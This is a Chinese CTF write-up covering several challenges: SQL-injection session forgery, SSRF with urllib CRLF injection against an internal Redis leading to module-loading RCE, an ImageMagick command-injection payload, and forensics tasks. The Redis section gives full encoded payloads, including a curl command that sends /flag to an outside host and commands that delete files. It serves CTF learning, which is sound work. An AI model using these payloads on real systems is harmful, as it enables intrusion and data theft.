立志成為admin的男人
通過注冊,提示要admin。

登陸處存在
sql注入:
用
sqlmap注出管理員賬號:
這里沒有權(quán)限讀取
index.php,那肯定也沒有權(quán)限能寫webshell:

掃描可以得到一個(gè)
test.php,里面打印當(dāng)前的用戶名:
這里可以通過注入漏洞,往
/tmp目錄下的session文件中寫入,來偽造自己admin的身份。
修改
session,訪問index.php就可以得到flag:
用Python寫的一個(gè)網(wǎng)站 好像還沒有寫完?
首頁有個(gè)ssrf漏洞,但是能通過http協(xié)議訪問。
可以看一下請求頭,是nginx,并且網(wǎng)站是用python/3.6.5寫的:

存在
nginx目錄穿越漏洞,可以得到源碼:/static../main.py
python的urllib出現(xiàn)過頭注入,可以同來攻擊內(nèi)網(wǎng)ssrf,來測試一下:

成功注入頭部,存在
urllib頭注入漏洞。這里攻擊內(nèi)網(wǎng)
redis,用到了主從rce,github上有開源的腳本。先開啟惡意的
redis服務(wù)器:
然后設(shè)置
redis的主服務(wù)器為惡意redis服務(wù)。
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
SLAVEOF 192.168.21.1 7789 //
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a
CONFIG SET dbfilename exp.so //
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a
發(fā)送數(shù)據(jù):
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'

加載惡意模塊:
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
MODULE LOAD ./exp.so //
*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a
SLAVEOF NO ONE //
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a
發(fā)送數(shù)據(jù):
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'`

然后執(zhí)行命令,因?yàn)闊o回顯,所以利用curl命令把flag文件傳輸出去:
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
system.exec 'curl -F "file=@/flag"
http://192.168.21.1:7789' //
*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a
發(fā)送數(shù)據(jù):
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'


最后刪除惡意模塊,關(guān)閉惡意模塊:
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
CONFIG SET dbfilename dump.rdb //
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a
system.exec 'rm ./exp.so' //
*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a
MODULE UNLOAD system //
*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a
發(fā)送數(shù)據(jù):
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a
真實(shí)的環(huán)境中,充滿了未知,漏洞與函數(shù)的拼接,能否繞過?
打開,需要爆破得到賬號密碼admin/1qaz@WSX。(吐槽:這TM誰爆得出來?)

登陸后有個(gè)上傳點(diǎn),源碼有串
base64提示:
這里就利用
imagemagick+getimagesize來執(zhí)行代碼。參考鏈接payload:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200
最后找下flag。

注入真的好難!!!
分析數(shù)據(jù)包,可以看到一堆sql盲注的流量。

參照土司機(jī)的博客,可以提取出最后的
url:t.cn/Ai8PhqSb和passwd:bkis。得到一個(gè)加密的壓縮包。
翻找流量包,可以看到一個(gè)
readme.7z:
看到兩個(gè)壓縮包都有
readme.txt,所以是明文攻擊。
把
readme.7z解壓,再用7z壓縮工具把readme.txt壓縮成zip形式的。
解壓就可以得到最后的
flag。
google語法真不錯(cuò)?。?!
給了一個(gè)系統(tǒng)鏡像,首先分析下版本:
$ volatility -f xp.raw imageinfo

架構(gòu)應(yīng)該是
WinXPSP2x86。查看下進(jìn)程:
$ volatility -f xp.raw –profile=WinXPSP2x86 pslist

可以查看下桌面文件:
$ volatility -f xp.raw –profile=WinXPSP2x86 filescan | grep 桌面

有個(gè)
360.jpg,提取一下:
$ volatility -f xp.raw –profile=WinXPSP2x86 dumpfiles -D ./ -Q 0x000000000215f340

再去查看下
ie瀏覽器歷史:
$ volatility -f xp.raw –profile=WinXPSP2x86 iehistory

搜索下可以發(fā)現(xiàn)個(gè)
github倉庫:
看下提交記錄,提示了
F5,那就是F5隱寫了。
解密:
$ java Extract 360.jpg -p 360CTFisSOeasy
得到out.txt,里面就是flag。